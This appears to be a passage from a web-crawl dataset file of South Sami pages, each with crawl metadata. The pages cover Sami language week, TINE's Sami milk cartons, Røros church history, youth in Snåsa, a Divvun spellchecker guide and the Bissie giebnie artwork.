Raarvihke tjïelten barkijepolitihkeles ulmieh, guktie vaajtelibie gujnh, ålmah, noere jïh båeries, joekehth kultuvrijste utnedh. Aellieh vïhtesjimmide jallh tjaatsegh seedth, menh dijph daejtie meatan jis goerehtallemasse båatah. Syökemelæstoe maahta byjjes sjïdtedh jalhts syökije vaajtele tjeakoes dam utnedh. Vuartesjh off.laake §25.\nOhtsemegoere","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/barkoeh-gaavnoes-2\/","date":"2023-02-08T19:36:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500904.44\/warc\/CC-MAIN-20230208191211-20230208221211-00312.warc.gz","language":"sma","language_score":0.9999943972,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999943971633911}","num_words":106,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tsïengelen 2023 raejeste, TINE:en mielhkie Romsesne jïh Finnmarhkesne, dovne nöörjen jïh noerhtesaemien gïelesne mielhkieburhtjesne båata. – TINE:en visjovne lea ektesne mijjieh jielije Nöörjem sjugniedibie, jïh dellie hijven mov saemien ietniengïele vååjnesasse båata mielhkieburhtjide, Tormod Nilsen jeahta, TINE-båanta jïh meatanaajhtere saemien ektiegïehtelimmesne Návet Doallu Deanugeaidnusne Deatnusne.\nDuarstan, 27.b. Nilsen, saemiedigkiepresideente Silje Karine Muotka, TINE:en konserneåejvie Gunnar Hovland jïh Kirsten Appfjell Saemiedigkien reeremistie Deatnusne gaavnedin jïh illedahkem laavenjostoste mïerhkesjin – jovkesthgaeriem mïelhkeste vaeltedh dejstie orre burhtjijste.\n– Mielhkieburhtje lea joekoen sïejhme dejnie jeenjemes hïejmine, jïh naakede maam bæjjese vaalta dovne aeredsbeapmose jïh iehkedsbeapmose. Vïenhtem saemiengïele mielhkieburhtjine sæjhta meatan årrodh tjetskehkevoetem jïh ïedtjem sjugniedidh jeenjesi luvnie, jïh gegkestem jienebh aaj sijhtieh gïelem lïeredh. Gosse devverde stoerre konserne goh TINE dagkeres voerkes gïeleveeljemem vaalta, dellie dïhte positijve synergijem sjugnede jïh daate laavenjostoe maahta hijvenlaakan vuesiehtidh guktie maahta aalkoeåålmegegïeli statusem nænnoestidh, saemiedigkiepresideente Silje Karine Muotka jeahta, mij lea joekoen madtjele laavenjostojne.\nGuvvie jielije Nöörjese\n– Daate joekoen luste. TINE:sne barkebe jielije Nöörjem sjugniedidh fïerhten biejjien, jïh saemien gïelh leah vihkeles jïh jielije bielie saemien jïh nöörjen kultuvreaerpeste. Gosse mielhkieburhtjh dovne saemien jïh nöörjengïelesne båetieh Romsesne jïh Finnmarhkesne, dellie TINE:en jïjtsevoete jïh identiteete eantan tjyölkehkåbpoe sjædta. Mijjieh ektiegïehtelimmie, 9000 mielhkiebåantajgujmie goh aajhterh noerhtelistie åarjese, jïh mielhkiem veedtjebe jïh darjobe abpe Nöörjesne jïh edtjebe gellievoetem mijjen laantesne speejjeldidh, TINE:en konserneåejvie Gunnar Hovland jeahta.\nGïelevåhkoe skraejriem veelti\nLij tjåanghkosne Saemiedigkien jïh TINE:en gaskem gïelevåhkoen sjïekenisnie bieliemubpien jaepien mænngan, raeriestimmie saemiengïelen bïjre mielhkieburhtjesne voestegh bööti. Raeriestimmie saemiengïelen bïjre mielhkieburhtjine Gïelevåhkoen tjirkijijstie bööti, jïh lea bielie Saemiedigkien gïeleråajvarimmeste Gïelelutnjeme.\n– Saemien mielhkieburhtjine lea visjovnine orreme mijjese Saemiedigkesne guhkiem. Mijjieh joekoen geerjene TINE lea dam saetniedehteme daelie. Gosse mielhkieburhtjh daelie dovne noerhtesaemien jïh nöörjengïelesne båetieh Romsesne jïh Finnmarhkesne, dellie dïhte jååhkesjimmie saemiengïeleste, jïh gellievoetem jïh ektievoetem tjaebpieslaakan lutnjie, prosjekten åvtehke Kirsten Appfjell jeahta.\nAareh orrejaepien raejeste sæjhta aelhkedh mielhkiem dejtie orre burhtjide dievhtedh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/giellavahkku.org\/sma\/tine-mielhkie-noerhtesaemien-gielesne%EF%BF%BC\/","date":"2023-02-02T08:32:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499967.46\/warc\/CC-MAIN-20230202070522-20230202100522-00705.warc.gz","language":"sma","language_score":0.9999871254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999871253967285}","num_words":295,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rørosen gærhkoe\nVoestes gærhkoe Plaassjesne lij gaervies 1650, ajve njieljie jaepieh mænngan sjalkemehæhtjoe jeanoen lïhke eelki juhtedh. Voestes gærhkoe varke fer onne sjïdti, jïh faatoes gorredimmien gaavhtan gåetie slaami jïh tjoeri orresistie bigkesovvedh 130 jaepieh mænngan. Gærhkoe man uvte daelie tjåadtjoeh tseegkesovvi Røros Kobberverkeste jïh vyörtegs rïhpestimmie lij mïetsken 15.b. 1784. Bïerjereeknehlåhkosne daehtie jaepeste maahta lohkedh dah golme bovtsh ööstin feestegaskebeajjan.\nIbie eevre veele daejrieh gåessie saemieh Rørosdajvesne kristegassjine sjïdtin. Reaktavigkesne 1663 soptsesovvi rituaali bïjre mah lin ektiedamme åvtekristeles jaahkose mah annje sjugniehtovvin. Reaktatjaatsegisnie tjåådtje saemieh «sijjen jaames maanah ståamhpi jïh moeri sïjse bïejin», jïh akte bielie dehtie rituelle duvrievijremistie lij duvrien måarah krogkesjidh. Dellie duvrie meehti ikth vielie sjugniesovvedh jïh numhtie nåhtose båetedh vihth. Tjuara sån bïevnesidie laejhtehkslaakan lohkedh, men duvrierituaale lea akte vuekie mij lea åehpies abpe Saepmeste. Dan gaavhtan maahta aerviedidh åvtejupmeles rituaalh annje åtnasovvin Rørosdajvesne 1600-låhkoen mubpene bielesne.\nSeminarium Scolasticum tseegkesovvi Tråantesne 1717, jïh aajkoe lij saamastallije hearrah jïh lohkehtæjjah ööhpehtidh. Saemide kristegassjine darjodh Nöörjesne daelie læssani. Jens Block gie hearrine sjïdti Salbugen jïh Tydalen prïestetjïeltesne 1725, aaj misjonæærine barki saemiej gaskem Salbugesne, Tydalesne, Holtålesne jïh Rørosesne. Destie maahta guarkedh idtjin gaajhkh saemieh kristegassjine vuajnelgh don baelien.\nGærhkoegærjesne vuejnebe saemieh gyrhkeles dahkoeh Rørosen gærhkosne åadtjoejin joe 1692, jïh 1690-låhkoe doekoe. Saemieh tjoerin nöörjen nommh nuhtjedh nöörjen seabradahkesne. Dejnie båarasommes vaarjelamme gærhkoegærjine Plaassjese, gaavnebe dan åvteste saemieh tjaalasovveme nöörjen nommigujmie jïh ij dej saemien nommigujmie. Naemhtie doh saemien nommeaerpievuekieh gaarvanin.\nBijjieklaasse Plaassjesne lea daamtaj tjaalasovveme goh faadterh kristemisnie gærhkoegærjesne, aaj saemien maanide. Daelvien 1735 Joen Thomesen lij gåatomelaantesne sov bovtsigujmie Plaassjan åarjeljillege, jïh daan jaepien sov hïejmekristeme baerniem Thomas åehpiedehti Rørosen gærhkosne. Faadteri gaskem gaavnebe Rasmus Finne, bïerjetjaelije Jens Finnen baernie.\nRørosen gærhkoe lea vihkeles gærhkoe orreme saemide regijovnesne gellie tjuetie jaepieh. Gærhkoegærjine bïevnesh gaavnebe kristemen, skyllemen, pruvremen jïh juvlemi bïjre saemien almetjidie. Tjuara aerviedidh sertiestimmie aktede religijovneste akten måbpan stoerre jarkelimmieh saemide sjugniedi dej vihkeles rituaali jïh seremoniji, mytaj jïh religijööse åssjaldahki bïjre.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/rorosmuseet.no\/lyttepunkter?kp_id=44:888:8189","date":"2023-02-07T14:25:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500619.96\/warc\/CC-MAIN-20230207134453-20230207164453-00632.warc.gz","language":"sma","language_score":0.9999892712,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999892711639404}","num_words":309,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"H.M. Gånka Harald guessine åarjelsaemien gïele- jïh maahtoejarngese, Gïelem Nastedh:se Snåasese båata, golken asken 23 biejjien. Desnie Gånka edtja saemien gïelevåhkoen rïhpestimmesne meatan årrodh.\nGïelevåhkoe tseegkesovvi guktie dejtie saemien gielide gåhtsajehtedh jïh maahtoem gïeli bïjre seabradahkesne bueriedidh. Jieliemassh, organisasjovnh, byjjes institusjovnh jïh jeatjah aktöörh eevtjesuvvieh saemien gïelide abpe våhkoem gåhtsajehtedh. Voestes aejkien saemien gïelevåhkoe hööltesovvi lij jaepien 2019 jïh lij Saemiedigkien initiatijve.\nHans Majesteete Gånka Harald åtna saemien gyhtjelassh vihkeles, jïh Gånka Harald lij meatan dennie voestes saemien gïelevåhkoen rïhpestimmesne jaepien 2019.\nMijjieh dan madtjeles Gånka sæjhta meatan Gïelevåhkoen rïhpestimmesne golken asken årrodh. Daate stoerre nuepie mijjese åarjelsaemien gïelem gåhtsajehtedh, menh aaj dejtie mubpide saemien gïelide gåhtsajehtedh mah Nöörjen raedtesne, Gïelem Nastedh:n, gïelejarngen biejjieladtjeåvtehke, Hanne-Lena Wilks jeahta.\nRetnoe aelkedh soejkesjidh\nSaemiedigkie mij lea Gånkam Snåasese bööreme, jïh Gïelem Nastedh mij Gånkam dåastohte. Saemiedigkie, Gïelem Nastedh jïh Staatehaaltoje sijhtieh retnoe aelkedh soejkesjidh jïh programmem buektedh gosse Gånka guessine båata.\nSaemien gïelh\nSaemien gïelh dovne Nöörjesne, Sveerjesne, Såevmesne jïh Russlaantesne soptsesuvvieh. Luhkie joekehth gïelh gååvnese, menh Nöörjen raedtesne ajve golme gïelh nuhtjesuvvieh:\n* Noerhtesaemiengïele\n* Luvliesaemiengïele\n* Åarjelsaemiengïele\nÅarjelsaemiengïele lea alvas aajhtasovveme, menh daah minngemes jaepieh tjarki gïeligujmie barkeme guktie gïelide nænnoestidh, åarjelsaemiengieline aaj, mij Noerhtelaantesne, Trööndelaagesne, Innlaantesne jih Sveerjen raedtesne\nPriv. til red\nDïhte programmebarkoe jïh tjïelkesoejkesjimmie Staatehaaltoen ektine. Bïevnese meedijen akkerediteeringen bïjre båata gosse lïhkebe båetebe. Sjïere presseprogramme dle båata.\nHans Majestet Kongen til Snåsa under åpning av samisk språkuke\/Gïelevåhkoe\nH.M. Kong Harald besøker Gïelem nastedh, sørsamisk språk- og kompetansesenter i Snåsa kommune søndag 23.oktober. Der skal Kongen delta på åpningen av samisk språkuke.\nGïelevåhkoe\/Samisk språkuke er etablert for å synliggjøre og øke kunnskapen om de samiske språkene i hele samfunnet. Næringsliv, organisasjoner, offentlige institusjoner og andre aktører inviteres da til å synliggjøre samiske språk gjennom en hel uke. Språkuka ble første gang arrangert i 2019, etter et initiativ fra Saemiedigkie\/Sametinget.\nHans Majestet Kong Harald er opptatt av samiske spørsmål, og Kongen var da også til stede under åpningen av den første samiske språkuka tilbake i 2019.\n-Vi er veldig glade for at Kongen har takket ja til å være til stede under åpningen av Gïelevåhkoe i oktober. Dette er en fantastisk mulighet for oss for å synliggjøre det sørsamiske språket, i tillegg til de andre samiske språkene som aktivt brukes i Norge, sier Biejjieladtje åvhtege gïelejarngesne \/ daglig leder Hanne-Lena Wilks i Gïelem nastedh \/ Samisk språk- og kompetansesenter.\nSnart i gang med planlegging\nDet er Saemiedigkie\/Sametinget som har invitert Kongen til å delta under markeringen på Snåsa. Det er Gielem nastedh som er vertskap under besøket. Saemiedigkie\/Sametinget, Gïelem Nastedh og Statsforvalteren vil om ikke lenge starte planleggingen og utarbeide et program i forbindelse med det kommende besøket.\nSamisk språk\nSamiske språk snakkes i Norge, Sverige, Finland og Russland. Det er ikke mindre enn ti ulike samiske språk, men i Norge er tre i bruk:\n* Nordsamisk\n* Lulesamisk\n* Sørsamisk\nSørsamisk er regnet som alvorlig truet, men de siste årene har det vært jobbet aktivt med å styrke språket, inkludert sørsamisk som har sin utbredelse i Nordland, Trøndelag, Innlandet og i deler av Sverige.\nPriv. til red\nProgramarbeidet og detaljplanleggingen legges opp i samråd med Statsforvalteren. Det vil bli lagt ut info om akkreditering for media når besøket nærmer seg. Det vil bli utarbeidet et eget presseprogram.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/gielemnastedh.no\/2022\/05\/hans-majesteete-ganka-snaasese-gielevahkoen-rihpestimmese-hans-majestet-ko\/","date":"2023-01-27T14:15:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764494986.94\/warc\/CC-MAIN-20230127132641-20230127162641-00118.warc.gz","language":"sma","language_score":0.9636135101,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9636135101318359, \"sme_Latn_score\": 0.022605275735259056, \"nob_Latn_score\": 0.012807135470211506}","num_words":526,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.975,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïelten åejvie aktem biejjiem\nDistriktssenteret \/ Dajvejarnge lea golme noerigujmie soptsestamme guktie Snåase vååjnoe dej vuajnoen mietie. Dah golme leah Maren Anna Kjenstad, learohke gåalmeden jaepien Kråangken jåarhkeskuvlesne, Lene Cecilie Sparrok, guhte Namsskogan luvhtie båata jïh learohke 10. klaassesne Snåasen noereskuvlesne, jïh Fredrik Berg Holsing guhte 10. klaassesne vadtsa Snåasen noereskuvlesne.\nFredrik akte eadtjohke noere, guhte lea meatan Snåasen byjjenimmieforumisnie, Snåsen noereraeresne, UKM-moenehtsisnie jïh MOT'sne. Maren Anna lea aarebi lïhtseginie orreme noereraeresne jïh Lene Cecilie lea eadtjohke meatan MOT'sne.\nGoh noereraerien tjïrkije dle Fredrik nuepiem åtneme tjïelteståvrose båetedh håalemereaktine. Gosse gihtjebe maam dah golme noerh lin sïjhteme darjodh jis lin tjïelten åejvine orreme aktem biejjiem, dle vaestiedin dah lin sïjhteme gaajhkide learoehkidie skuvlebeapmoem vedtedh, noeride tjöönghkedh juktie jienebh darjomh ektesne darjodh, noeride aktem gemtebe faalenassem vedtedh, jïh bïgkemem tjöödtjestidh dehtie orre skuvleste jïh jienebh tjïelten lååjkedimmiegåetieh bïgkedh.\nDaerpies jienebh gaavnesjimmiesijjide\nDah noerh gujht vienhtieh dah sijhtieh Snåasesne årrodh gosse geerve. Dejtie dle Snåase akte murreds voene, jïjnjh faalenassigujmie jïh darjomigujmie. Ektiedimmie hïejmegaertienidie aaj nænnoes, jïh dïhte lïhke jïh sosijaale ektiedimmie lea mannasinie dah sijhtieh daesnie årrodh ööhpehtimmien mænngan. Jeanatjommesidie dle dïhte öörnedamme darjome gaarsjelimmie, kultuvreskuvle jïh noereklubpe. Noerh jienebh sosijaale gaavnesjimmiesijjieh ohtselieh. Daan biejjien dle noeri gaavnesjimmiesijjieh Coop-bovre jarngesne jïh Statoil. Jeatjah gaavnesjimmiesijjieh eah leah dan guhkiem gaahpode, die jalhts faalenassh leah hijven, dle akte haesteme sjædta aktene murreds sijjesne gaavnesjidh fïerhten biejjien. Dah noerh, mejgujmie mijjieh soptsestimh öörnedimmieh ohtselieh mah leah abpe jaepiem geerjehtamme. Dovne Snåasenbiejjieh jïh göölemefestivaale leah darjomh giesege. Daelie vuejnebe mij akt dejnie dorjesåvva, dan eevre fïerske öörnedimmien tjïrrh «Darjomehïelje noeride».\nDarjomehïelje noeride\nRïhkeden 19.-21. b dle darjomehïelje noeride öörnesovvi. Ulmiedåehkie lij noerh mah lin reakadamme jaepiej 1996-2000. 100 noerijste dle 81 noerh böötin. Dah åadtjoejin orre darjomigujmie åahpenidh mah jeatjah gaavhtan eah leah Snåasesne. Abpe öörnedimmie lij Finsås kuvsjejarngesne, konsertigujmie jïh beapmoe jïh darjomh. Noerh bussefaalenassem åadtjoejin dohkoe jïh bååstede dej golme biejjiej darjomehïelje ryöhki. Dan åvteste dan gellie noerh darjomehïeljese böötin dle daate noeri jïjtse tjïelkestimmiem dåarjohte mij murriedimmie lea. Juktie dïhte lea voelph, fuelhkie jïh akte hijven hïejme, darjomh eejehtallemisnie noeride jïh murreds almetjh.\nUngt Entreprenørskap\nSnåase lea sov årromelastoeprosjekten tjïrrh, man nomme GNEST, Ungt Entreprenørskap'ine barkeme. Daelvien 2011\/2012 dle entreprenørskap-programmh tjïrrehtamme gaajhkine njieljie maanaskuvline voenesne. Lissine dle soejvenassebarkoem jïh grundercampem tjïrrehtamme noereskuvlese gïjren 2012.\n– Lena Cecilia sopteste dah edtjieh dejtie golme bööremes åssjaldahkide tjïelteståvrose åehpiedehtedh. Akte vihkeles learoe lea dah tjuerieh lïeredh laavenjostedh jis edtjieh buektiehtidh åssjaldahkem evtiedidh jïh tjïrrehtidh.\n– Jis ibie noerebarkojne lyhkesth dle ibie lyhkesth prosjekten åejvieulmine mij jeahta Snåasehkh edtjieh jienebh jïh madtjelåbpoe sjïdtedh, prosjekten åvtehke Ann Lynum jeahta.\nNænnoes ektiedimmie voenese\nMaren Anna tuhtjie Snåase akte laavkeme siebriedahke gusnie gaajhkesh gaajhkesidie demtieh, daate jearsoesvoetem vadta.\n-Dïhte veanhta gaajhkesh gujht vienhtieh Snåase akte hijven sijjie byjjenidh, dovne maanide jïh noeride. Daate, dejnie ektiedimmine voelpide, fualhkan jïh hïejmegaertienasse, lea man åvteste dïhte aaj sæjhta Snåasesne sjïdtedh gosse geerve.\nSnåase\nSnåase akte tjïelte Noerhte-Trööndelagesne, 2.164 årrojigujmie minngemes tsïengelen 1.b. Snåasesne fïerhten årrojen akte km2 jïh akte göölemejaevrie. Laanteburrie lea stööremes jieleme, moereindustrijine, baektievierhkine jïh privaate jielieminie ektine. Snåase aaj akte saemien jarnge jïjtse maanaskuvline jïh internaatine åarjelsaemien maanide, åarjelsaemien museume jïh kultuvrejarnge Saemien Sijte. Snåasen tjïelte lij meatan Dajvejarngen gåvloeskuvlesne jaepien 2011, jïh lea meatan reerenassen årromelastoeprogrammesne prosjektine GNEST (daaroen: godt nyskapende engasjement skaper trivsel).\nDajvejarnge sæjhta evtiedimmiebarkoem Snåasesne vuartasjidh naan jaepieh juktie dååjrehtimmieh evtiedimmiekultuvren jïh evtiedimmiestuvremen bïjre åadtjodh.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/distriktssenteret.no\/eksempel\/noerh-murriedieh-snaasesne\/","date":"2023-04-01T04:20:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949701.0\/warc\/CC-MAIN-20230401032604-20230401062604-00740.warc.gz","language":"sma","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999934434890747}","num_words":537,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Divvun-dïrregidie utnedh MS Office 2010:sne\n-\nFor at Divvun-verktøyene skal kunne hjelpe deg, må du fortelle datamaskinen at du skriver på samisk ved å velge det som skrivespråk. Mïnnh dellie gïelemenyesne jïh veeljh åarjelsaemiengïelem, jallh diedtieh Alt+Shift gosk åarjelsaemiengïele jæjhta. Gosse dam dorjeme, dellie leah åarjelsaemien staeriedimmiedïrregem aelkiehtamme. Dïhte naemhtie:\n-\nJis edtjh vuartasjidh, mejtie Word rïektes gïeline barka, diedtieh dellie staeriedimmielaevkiem jïh geehth, Identifiser språk automatisk ij leah mïerhkesjamme. Dïhte naemhtie vååjnoe:\n-\nGosse leah tjaeliemienie dellie rööpses sïevh jijhtieh dej baakoej nualan mah leah båajhtode. Maahtah veeljedh åelkies båaloem diedtedh baakoej nelnie mej leah rööpses sïevh. Dïhte naemhtie vååjnoe:\njallh maahtah staeriedimmiedïrregem aelkiehtidh sjïere klaasesne. Diedtieh dellie Se gjennom menyesne. Diedtieh:\nDestie sjædta:","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/divvun.no\/sma\/korrektur\/userdocs\/win\/use-msoff-2010-win7.html","date":"2023-03-21T13:23:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943698.79\/warc\/CC-MAIN-20230321131205-20230321161205-00662.warc.gz","language":"sma","language_score":0.99996984,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999698400497437}","num_words":112,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bissie giebnie – Tomas Colbengtsons kunstverk til Saemien Sijte\nTekst: KORO Film: Dan Jåma for KORO\nTomas Colbengtson lea tjeahpoem dorjeme mij lea vïedteldihkie åarjelsaemien histovrijasse, mytologijese jïh eatnamasse. Filmesne maam tjeahpoeprosjektese dorjeme, Tomas Colbengtson vielie prosessen jïh barkoen bïjre Bissie giebnine soptseste.\n(Norsk tekst og film lenger ned)\nSaemien Sijte lea orre gåetien sïjse jåhteme Horjem-njuanesne Snåasen ålkolen. Goh aajnehke åarjelsaemien kultuvrejarnge jïh museume Saemien Sijten lea nasjonaale dïedte dokumentasjovnen, vaarjelimmien jïh bievnemen åvteste jïh åarjelsaemien gïelese jïh kultuvrese dotkedh, vihkeles bielie barkoste mænngan tseegkesovvi 1964.\nAareh sjaavnjoe bööti åarjelsaemien guvvietjiehpiedæjjah jallh tjeahpoevytnesjæjja edtji tjeahpoevierhkiem don orre gåatan darjodh, jïh tjeahpoe edtji åarjelsaemien aerpievuekieh jïh kultuvrehistovrijem vuesiehtidh. Saemien-sveerjen tjiehpiedæjja Tomas Colbengtson veeljesovvi juryjeste gusnie tjirkijh Saemien Sijteste lin meatan. Colbengtsonen skraejrie barkoem ohtsedh lij håhkoem båetijen aajkan sjugniedidh jïh ektievoetem tjeahpoen tjïrrh sjugniedidh. Dan ihkuve skulptuvretjeahpoe klaaseste lea orre gåetien ålkoelisnie.\nTjeahpoe Bissie giebnie lea klaasebåala man sisnie guvvie. Båala lea gællan betniebielesne tjïelke gierkeste. Vierhkie lea gaptjedimmieklaasine dorjesovveme, vuekie gusnie aktem jallh jienebh giertieh klaaseste giertien bijjelen sjalkoe mij joe gååvnese. Guvvie krievviem vuesehte gusnie naakenh lovvesjieh, naaken tjåadtjoeh, jïh lea båarasåbpoe guvvie åarjelsaemien dajveste. Motijve lea tjïelke saemien jïh dovne aerpievuekien mietie jïh tïjjehts. Åarjelsaemien kultuvresne ektiedimmie bovtsese jïh båatsose vihkele, seammalaakan aaj ektiedimmie eatnamasse. Effekte klaaseste lea eatneme gåpmode vååjnoe jïh bovtsh leah dovne guektien- jïh golmendimensjonaale, ov goh leah bielie eatnamistie mij tjeahpoen bïjre. Tihtele daejrehte aejlies sijjieh eatnamisnie gååvnesieh. Vierhkie maahta assosijasjovnh vedtedh don båeries jaahkose parallelle veartenidie, mah leah bijjelen jïh nuelesne dam maam maahta daajedh. Båalahammoe sykliske tïjjegoerkesen vööste tjuvtjede, tïjje ij naan aalkoem jallh galhkuvem utnieh. Sijjie eatnamisnie Bissie giebniem saemien symbolihkese jïh histovrijasse ektede. Betnie sjifferistie Snåseste lea vielie goh fysiske vïedteldimmie; dïhte voenges ïebne maam eatneme tïjje doekoe sæjhta baajnehtidh. Naemhtie sæjhta vååjnedh goh tjeahpoevierhkie iktesth desnie tjåådtjeme, goh jåartan sistie sjïdteme.\nTomas Colbengtson (r. 1957) åarjelsaemien båatsoefuelhkeste båata, jïh reakasovveme jïh byjjenamme Dearnesne, Västerbottenisnie Sveerjesne. Sijjie lea Nöörjen raasten lïhke, Måehvien åarjelluvlielisnie. Colbengtson guvviejgujmie, objektigujmie jïh teekstine barka grafihken teknihkigujmie jïh ovmessie ïebnigujmie. Dïhte joekoen åehpies sov silhketrygki gaavhtan, gusnie guvvieh sertiestamme klaasese jallh aluminijumese. Guvvieh lea byögkeles våarhkoeguvvieh jïh vuesiehtieh saemien dajvh, ovnohkens saemieh, åehpies almetjh saemien histovrijistie jïh jïjtse maadtoeh. Colbengtsonen tjeahpoe lea persovneles jïh jïjtse dååjrehtimmiej mietie. Åajvoehfåantoe man åvteste tjiehpiedæjjine sjïdti lij satne idtji lïerehtimmiem saemien gïelesne åadtjoeh jïh jïjtse saemien gïelem ohtseli. Daate tematihke – nyöjhkesovvedh jïjtse gïelem soptsestidh jïh jïjtse kultuvrine gïehtelidh, vihkeles bielie jïjtse identiteeteste – altese tjeahpoem akten ektie daltesasse lutnjie mij aalkoeåålmegh laanteraasti jïh gïeli rastah ektede.\nTomas Colbengtson har laget et kunstverk forankret i sørsamisk historie, mytologi og natur. I filmen som er laget til kunstprosjektet, forteller Tomas Colbengtson mer om prosessen bak og arbeidet med Bissie giebnie.\nSaemien Sijte har flyttet inn i et nytt bygg på Horjemstangen utenfor Snåsa. Som eneste sørsamiske kultursenter og museum har Saemien Sijte et nasjonalt ansvar for dokumentasjon, bevaring og formidling av og forskning på sørsamisk språk og kultur, en sentral del av virksomheten siden grunnleggelsen i 1964.\nDet ble tidlig uttrykt et ønske om at kunstverket til det nye bygget skulle utføres av en sørsamisk bildekunstner eller kunsthåndverker, og at verket skulle referere til eller speile sørsamisk tradisjon og kulturhistorie. Den samisk-svenske kunstneren Tomas Colbengtson ble valgt av juryen, som besto av representanter fra Saemien Sijte. Colbengtsons motivasjon for å søke oppdraget var å skape fremtidshåp og bidra til et fellesskap gjennom kunsten. Det permanente skulpturelle glasskunstverket hans er plassert utenfor det nye bygget.\nKunstverket Bissie giebnie består av en glasskule med et bilde inni. Kulen hviler på et fundament av naturstein. Verket er utført i overfangsglass, en teknikk der et eller flere lag glass smeltes over et allerede eksisterende lag. Bildet forestiller en reinsdyrflokk som dels hviler, dels står, og er et eldre foto fra det sørsamiske området. Motivet er umiskjennelig samisk og både tradisjonelt og tidløst. I den sørsamiske kulturen er tilknytningen til rein og reindrift viktige elementer, det samme er tilknytningen til naturen. Effekten av glasset er at naturen vendes opp ned, og at dyrene fremstår både to- og tredimensjonale, som om de er en del av naturen som omgir kunstverket. Tittelen er sørsamisk og kan oversettes med Hellig kjele, som antyder at det finnes hellige steder i naturen. Verket kan gi assosiasjoner til den gamle troen på parallelle verdener, som befinner seg over og under den sansbare. Kuleformen peker mot en syklisk tidsforståelse, at tiden er uten begynnelse eller slutt. Plasseringen ute i terrenget knytter Bissie giebnie til samisk symbolikk og historie. Fundamentet av skifer fra Snåsa er mer enn en fysisk forankring; det er et lokalt materiale som naturen over tid vil sette sitt preg på. Slik vil det bli skapt et inntrykk av at kunstverket alltid har stått der, som vokst opp av jorda.\nTomas Colbengtson (f. 1957) har bakgrunn fra en sørsamisk reindriftsfamilie, og er født og oppvokst i Tärnaby, Västerbotten i Sverige. Stedet ligger nær grensen til Norge, sørøst for Mo i Rana. Colbengtson arbeider med bilder, objekter og tekst i kombinasjon med grafiske teknikker og ulike materialer. Det er særlig silketrykkene, der fotografier er overført til glass eller aluminium, han er kjent for. Fotografiene er offentlige arkivbilder av samiske områder, anonyme samiske personer, kjente skikkelser fra samisk historie og egne forfedre. Colbengtsons kunst er personlig og basert på egne erfaringer. At han ikke fikk opplæring i samisk språk og savnet en egen samisk stemme, var avgjørende for at han ble kunstner. Denne tematikken – å bli nektet å snakke sitt eget språk og utøve sin egen kultur, en viktig del av ens identitet – løfter kunsten hans til et kollektivt nivå som forener urfolk på tvers av landegrenser og språk.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/saemiensijte.no\/bissie-giebnie-tomas-colbengtsons-kunstverk-til-saemien-sijte\/","date":"2023-03-29T10:21:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948965.80\/warc\/CC-MAIN-20230329085436-20230329115436-00553.warc.gz","language":"sma","language_score":0.9610533714,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9610533714294434, \"sme_Latn_score\": 0.020452314987778664, \"nob_Latn_score\": 0.017451172694563866}","num_words":930,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startsida\n- Sidor på nationella minoritetsspråk\n- Sámegiella\n- Åarjelsaemien\nÅarjelsaemien\n-\nÅejvieladtje bïjre\nInstitute gïele jih almetjemojhtesh (Isof) lea staateles åejvieladtje Sveerjesne. Mijjieh tseegkebe, tjöönghkebe jih maahtoem Svee…\n-\nGaskesadtedh\nSaemien gïele gyhtjelassi bïjre maahta Saemiedigkie vaestiedidh mij diedtem åtna dah saemien 